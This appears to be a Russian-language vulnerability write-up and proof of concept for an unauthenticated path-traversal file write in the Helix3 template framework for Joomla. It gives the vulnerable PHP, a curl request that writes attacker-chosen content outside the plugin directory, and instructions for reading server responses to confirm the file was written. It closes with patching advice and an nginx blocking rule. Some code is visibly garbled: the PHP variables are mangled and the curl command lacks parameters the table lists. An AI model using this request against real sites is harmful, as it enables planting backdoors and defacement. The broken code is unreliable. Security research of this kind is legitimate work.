Share
## https://sploitus.com/exploit?id=310069DC-9213-5A3C-B1BA-00EFDC37940C
# Исследование уязвимости CVE-2026-49049: Unauthenticated Arbitrary File Write в JoomShaper Helix3 (Joomla)

Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости **CVE-2026-49049**, обнаруженной в устаревшем фреймворке шаблонов **Helix3 от JoomShaper** для CMS Joomla (версии от 1.0 до 3.1.0 включительно).

Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании **AntonKill**).

---

## 🔬 Технический анализ уязвимости

Проблема кроется в системном AJAX-обработчике Joomla (`com_ajax`), который вызывает метод `onAjaxHelix3()` в плагине `plg_ajax_helix3`. Разработчики компонента не предусмотрели:
1. Проверку авторизации пользователя (Authentication Bypass).
2. Проверку CSRF-токенов.
3. Фильтрацию путей (Path Traversal Validation) при обработке параметра `layoutName`.

### Логика уязвимого PHP-кода:
```php
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}
```

---

## 🛠 Proof of Concept (PoC)

Для верификации уязвимости используется POST-запрос с типом контента `application/x-www-form-urlencoded`. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.

### Вектор атаки (cURL-команда):
```bash
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
```

### Подробный разбор передаваемых данных:

| Параметр | Значение / Пример | Что означает для сервера |
| :--- | :--- | :--- |
| **`option`** | `com_ajax` | Точка входа в Joomla для обработки AJAX-запросов. |
| **`plugin`** | `helix3` | Системный идентификатор, заставляющий Joomla передать управление уязвимому плагину Helix3. |
| **`format`** | `json` | Указывает движку вернуть ответ в формате JSON. |
| **`-d`** | `data[...]` | Тело запроса (Form Data), автоматически интерпретируемое PHP в глобальный массив `$_POST`. |
| **`data[action]`** | `save` | Переключатель `switch` в коде. Инструктирует плагин вызвать функцию **записи (создания) файла**. |
| **`data[layoutName]`** | `../../../../../../../example` | **Ключевой вектор атаки (Path Traversal)**. Символы `../` заставляют операционную систему выйти из изолированной папки плагина в корневую директорию сайта. Расширение `.json` плагин подставит автоматически. |
| **`data[content]`** | `{"probe":"test"}` | Полезная нагрузка (Payload). Текстовые данные, которые физически запишутся внутрь создаваемого файла `example.json`. В реальных атаках сюда внедряется вредоносный код дефейса или бэкдоры. |

---

## 🎯 Анализ ответов сервера (Фирмы валидации)

При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:

### Вариант А: Уязвимость успешно отработала (Файл записан)
**Ответ сервера:**
```json
{"success":true,"message":null,"messages":null,"data":[]}
```
*Интерпретация:* Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу `https://target.com`. Сайт требует немедленной очистки и изоляции.

### Вариант Б: Плагин уязвим, но сработала защита операционной системы
**Ответ сервера:**
```json
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}
```
*Интерпретация:* **Частичный успех.** Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (`fopen`). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, `www-data`) **нет прав на запись в корень сайта**. 

### Вариант В: Система защищена (Обновлена или удалена)
**Ответ сервера:** Статус `404 Not Found`, `403 Forbidden` или пустой ответ `[]`.
*Интерпретация:* Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.

---

## 🛡 Митигация и устранение угрозы

1. **Обновление / Удаление:** Обновите Helix3 до версии **3.1.1** или выше. Если фреймворк не используется, полностью удалите плагин `plg_ajax_helix3` через панель администратора Joomla.
2. **Защита на уровне WAF (Nginx):** Добавьте правило для блокировки вредоносных POST-запросов:
   ```nginx
   if (\(request_method = POST) { set\)test "P"; }
   if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
   if (\$test = PH) { return 403; }
   ```

---
*Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации.*